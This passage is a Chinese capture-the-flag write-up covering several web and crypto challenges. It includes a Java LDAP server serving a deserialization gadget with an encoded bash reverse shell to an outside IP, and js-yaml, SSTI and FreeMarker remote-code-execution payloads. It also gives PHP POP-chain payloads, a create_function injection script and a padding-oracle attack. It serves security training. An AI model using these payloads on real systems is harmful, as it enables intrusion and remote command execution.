t result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult resu
lt, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base +
" return CB gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-
1$
String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp
dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N
vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST
GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw
b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB
1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm
FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc
kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2
YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ
hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX
IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA
CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl
cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml
hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm
xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL
3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj
b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl
vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG
FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb
C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc
mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9
vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG
VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY
W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh
BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN
MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW
l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb
i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ
hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC
lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd
mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE
AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0
ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA
AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE
QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA
A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA
ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA
MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A
AN0dnRwdwEAeHEAfgANeA==";
e.addAttribute("javaSerializedData", Base64.getDecoder().dec
ode(base64EncodedData));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入
的发起.
image.png
image.png
image.png

 

signal

首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()会加载为js对象,在github找js-yaml文档说明,怎么解析对象的,官网也给了例子的,这里就直接看它能解析成什么
image.png
发现能解析方法
image.png
js-yaml的version 是3.14.1 ,跟新版本提交对比
https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c
这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function
image.png
然后在模版渲染的地方,会自动调用对象的tostring方法
所以上传文件yaml文件内容为下面payload就行了

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

Swagger docs

1.读接口文档弄清楚网站功能
2.注册用户

http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}

3.登陆

http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}

4.任意文件读取
测试发现在/api-base/v0/search接口存在任意文件读取

  • 读进程
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text
  • 读源码位置
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text
  • 读源码

5.代码审计

image.png

  • 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
  • uapate()函数中存在类似于原型链污染,可以利用来修改环境变量
image.png

这一步思路就是通过原型链污染,修改http_proxy环境变量,即可控制请求的响应数据来造成ssti,实现rce。

http://47.108.206.43:40476/api-base/v0/update
{
        "__init__": {
            "__globals__": {
                "os": {
                    "environ": {
                        "http_proxy":"ip:port"
                    }
                }
            }
        }
    }

修改代理后即可随意发送请求(注意:得选择text才能进入渲染)

http://47.108.206.43:40476/api-base/v0/search?file=user&type=text

VPS控制请求响应:
HTTP/1.1 200 OK

{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

image.png
此外,除了配合render_template_string()实现rce以外,还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法,感谢p4d0rn的支持!
ac96bbdda6fc47f443ea66c992fe1300.png

 

easy_unserialize

被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了
题目:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

第一点: shell脚本变量构造数字

if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
if ($this->gg2)

image-20231105160341904.png

// 故:
$g = new Good('${##}');

另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可

第二点: 双重md5:

if(md5(md5($this->md5)) == 666)

md5.py:

# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start + str_len] == substr:
            # print rnds
            # stop_event.set()

            # 碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start + str_len] == substr:
                print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
                stop_event.set()



if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()
python2 md5.py "666" 0 

image-20231118204400660.png
三部分从左向右分别是源字符串、md5一次加密、md5二次加密
取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次)

第三点:

if(urldecode($this->arg1)===base64_decode($this->arg1))

可以用数组绕过:

$t = new To();
$t->arg1[]=1;

也可以直接赋值为空:

$t = new To();
$t->arg1 = '';

第四点 :

array_walk($this, function ($one, $two) {
        $three = new $two($one);
        foreach($three as $tmp){
            echo ($tmp.'<br>');
        }
});

这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag
即:

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件

以下是完整的pop链:

//原生类FilesystemIterator或DirectoryIterator扫目录:
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

可以用FilesystemIterator类:
image.png
或者用DirectoryIterator类:
image.png

//原生类SplFileObject读文件
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42'); // 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

image.png

其他非预期解:
在__toString()到__invoke()衔接的时候可以直接用phpinfo:

public function __toString()
{
    $new = $this->l1;
    return $new(); // 可以直接调用phpinfo来读取flag
}

完整的pop链:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1='phpinfo';      // Luck::__toString()->phpinfo
echo urlencode(serialize($y));
// O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A4%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

然后得到flag
借用一下Hyperion战队师傅的图:
image.png

 

 

what’s my name

@$miao=create_function('$a, $b', $sort_function);
  • 这里有一个典型的create_function的注入
?d0g3="]);}任意代码执行;/*
  • 要进入该函数需要过三个条件
  • 第一个条件
if(preg_match('/^(?:.{5})*include/',$d0g3))
  • 这里要求传参的第6位开始必须是include,提示了使用include函数,
?d0g3="]);}include('利用语句');任意代码执行;/*
  • 第二个条件
strlen($d0g3)==substr($miao, -2)
  • 匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数
  • 这里需要控制利用语句数目等于匿名函数数字部分后两位,可以通过脚本循环实现
  • 第三个条件
$name===$miao
  • 看上去很简单,和第二个条件一样,比如设定好?name=lambda_10,然后访问5次页面(创建10次匿名函数)即可,但是实际上可以通过下面的语句发现,实际上创建的匿名函数的名字前面会默认带一个\0结束符,在大多数情况下这不会造成任何影响,但是在浏览器地址栏传参时,\0将无法传入
echo var_export($miao);
  • 这个问题也可以通过脚本得到解决
  • 通过dirsearch或者手测,我们可以发现一个admin.php,使用伪协议包含发现里面有大量的假flag(100万行),考虑使用strip_tags过滤掉大量的php标签内的无关信息
  • 由此得出脚本(需要跑一会儿才出得来)
import requests
import re
url=input("请输入地址:")
while 1:
    a=requests.get(url+"?d0g3=%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'aaaaaa';/*&name=\0lambda_187")
    if"aaaaaa" in a.text:
        break
    print("尝试中")
print(re.sub("aaaaaa",'',re.sub(r"<code>[\s\S]*?</code>",'',a.text)))
 

ez_java

根据pom.xml,环境存在CB、postgresql依赖,不难想到可以通过CB链来调用getter方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection
image.png
由于环境不出网,只能选择postgresql JDBC的logger链去写文件。这个可以选择通过覆盖/app/templates/index.ftl打模板注入
但需要注意的是BaseDataSource反序列化逻辑,首先是geturl方法,会把扩展参数和数据库名部分进行一次urlencode导致模板标签被编码掉,读者自行去阅读相关逻辑,进行分析调试
这里可以重写org.postgresql.ds.common.BaseDataSource,将模板注入payload放到serverNames位置避免被编码,重写部分如下:
image.png
text为freemaker模版rce的payload
其次就是触发compare,由于PriorityQueue在黑名单中,这里用treeMap#get来触发compare方法,这里用CC7相关部分触发一哈Map#get
exp

package org.example;

import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.URLEncoder;
import java.util.*;


import static org.example.Tools.setFieldValue;


public class Main {
    public static void main(String[] args) throws Exception {
      	//设置扩展参数
        PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
        pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
        pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
        pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "property", "connection");

        HashMap gadgetHashMap = new HashMap();
        gadgetHashMap.put(pgSimpleDataSource, null);

        TreeMap treeMap = makeTreeMap(beanComparator);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("AaAaAa", treeMap);
        hashMap1.put("BBAaBB", gadgetHashMap);

        HashMap hashMap2 = new HashMap();
        hashMap2.put("AaAaAa", gadgetHashMap);
        hashMap2.put("BBAaBB", treeMap);

        Hashtable table = new Hashtable();
        setFieldValue(table, "count", 2);
        Class nodeC = Class.forName("java.util.Hashtable$Entry");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
        setFieldValue(table, "table", tbl);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(table);
        oos.close();

        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));

//        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
//        ObjectInputStream ois = new Security(in);
//        Object ob = ois.readObject();
    }

    public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
        TreeMap treeMap = new TreeMap(beanComparator);

        setFieldValue(treeMap, "size", 1);
        setFieldValue(treeMap, "modCount", 1);

        Class EntryC = Class.forName("java.util.TreeMap$Entry");
        Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
        EntryCons.setAccessible(true);

        setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));

        return treeMap;
    }
}

攻击:
/read?exp=rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAACHcIAAAAAgAAAAJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnQABkFhQWFBYXNxAH4AAj9AAAAAAAAMdwgAAAAQAAAAAXNyACRvcmcucG9zdGdyZXNxbC5kcy5QR1NpbXBsZURhdGFTb3VyY2XHvJ7A3bo18QMAAHhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQBMmxvY2FsaG9zdC8%2Fbml2aWE9PCNhc3NpZ24gYWM9c3ByaW5nTWFjcm9SZXF1ZXN0Q29udGV4dC53ZWJBcHBsaWNhdGlvbkNvbnRleHQ%2BPCNhc3NpZ24gZmM9YWMuZ2V0QmVhbignZnJlZU1hcmtlckNvbmZpZ3VyYXRpb24nKT48I2Fzc2lnbiBkY3I9ZmMuZ2V0RGVmYXVsdENvbmZpZ3VyYXRpb24oKS5nZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcigpPjwjYXNzaWduIFZPSUQ9ZmMuc2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoZGNyKT4keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI%2FbmV3KCkoImNhdCAvZmxhZyIpfXQAAHQBITwjYXNzaWduIGFjPXNwcmluZ01hY3JvUmVxdWVzdENvbnRleHQud2ViQXBwbGljYXRpb25Db250ZXh0PjwjYXNzaWduIGZjPWFjLmdldEJlYW4oJ2ZyZWVNYXJrZXJDb25maWd1cmF0aW9uJyk%2BPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT48I2Fzc2lnbiBWT0lEPWZjLnNldE5ld0J1aWx0aW5DbGFzc1Jlc29sdmVyKGRjcik%2BJHsiZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5LkV4ZWN1dGUiP25ldygpKCJjYXQgL2ZsYWciKX1wdXIAAltJTbpgJnbqsqUCAAB4cAAAAAEAAAAAc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cQB%2BAAA%2FQAAAAAAACHcIAAAACwAAAAN0AAtsb2dnZXJMZXZlbHQABURFQlVHdAAKbG9nZ2VyRmlsZXQAGC9hcHAvdGVtcGxhdGVzL2luZGV4LmZ0bHQADmNvbm5lY3RUaW1lb3V0dAASMTAwMDAwMDAwMDAwMDAwMDAweHB4cHh0AAZCQkFhQkJzcgARamF2YS51dGlsLlRyZWVNYXAMwfY%2BLSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcuOhiOpzIqRIAgACTAAKY29tcGFyYXRvcnEAfgAaTAAIcHJvcGVydHl0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACpqYXZhLmxhbmcuU3RyaW5nJENhc2VJbnNlbnNpdGl2ZUNvbXBhcmF0b3J3A1x9XFDlzgIAAHhwdAAKY29ubmVjdGlvbncEAAAAAXQABW5pdmlhc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4eHNxAH4AIwAAAAJzcQB%2BAAI%2FQAAAAAAADHcIAAAAEAAAAAJxAH4ABHEAfgAbcQB%2BABhxAH4ABXhxAH4AJXg%3D

 

 

crypto

010101

将前半部分和后半部分分别异或1进行还原,最后得到p

from Crypto.Util.number import long_to_bytes

N = ***
p = ***
m = ***
p = str(p)
e = 65537
flag = False
print(len(p))
for j in range(len(p)):
    p2 = list(p)
    p2[j] = str(int(p[j]) ^ int('1'))  # 将p的第j位与1进行异或
    for i in range(j + 1, len(p)):  # 从p的第j+1位开始遍历
        p3 = list(p2)
        p3[i] = str(int(p[i]) ^ int('1'))  # 将p2的第i位与1进行异或
        if N % int(''.join(p3), 2) == 0:
            modified_p = int(''.join(p3), 2)
            flag = True
            break
    if flag:
        break
q = N // modified_p
phi = (modified_p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(m, d, N)))

# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

不断构造IV并发送,接收解密结果,恢复AES CBC解密的中间值,最后与IV进行异或得到

from hashlib import sha256
import itertools
import socket
import string
from Crypto.Util.number import long_to_bytes, bytes_to_long


def proof(broke, Hash):
    assert len(broke) == 16 and len(Hash) == 64
    shaTable = string.ascii_letters + string.digits
    for ii in itertools.permutations(shaTable, 4):
        x = ''.join(ii)
        s = x + broke
        if sha256(s.encode()).hexdigest() == Hash:
            print(x)
            return x


def con():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('124.71.177.14', 10010))
    proof_data = sock.recv(2048)
    send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode()
    sock.recv(2048)
    sock.send(send_proof)
    data1 = sock.recv(2048)
    print(data1.decode())
    sock.send('1\n'.encode())
    cipher = sock.recv(4096).decode().split(' ')[-1]
    print(cipher)
    guess_iv = [0 for _ in range(16)]
    restore_midd = [0 for _ in range(16)]
    index = 1

    for i in range(15, -1, -1):
        for j in range(0, 256):
            sock.send('2'.encode())
            txt = sock.recv(4096).decode()
            guess_iv[i] = j
            mess = bytes(guess_iv).hex() + cipher[32:]
            sock.send(('%s\n' % mess).encode())
            result = sock.recv(4096).strip().decode()
            if result == 'True':
                print('find')
                restore_midd[i] = index ^ j
                for k in range(15, i - 1, -1):
                    guess_iv[k] = restore_midd[k] ^ (index + 1)
                break
        index += 1

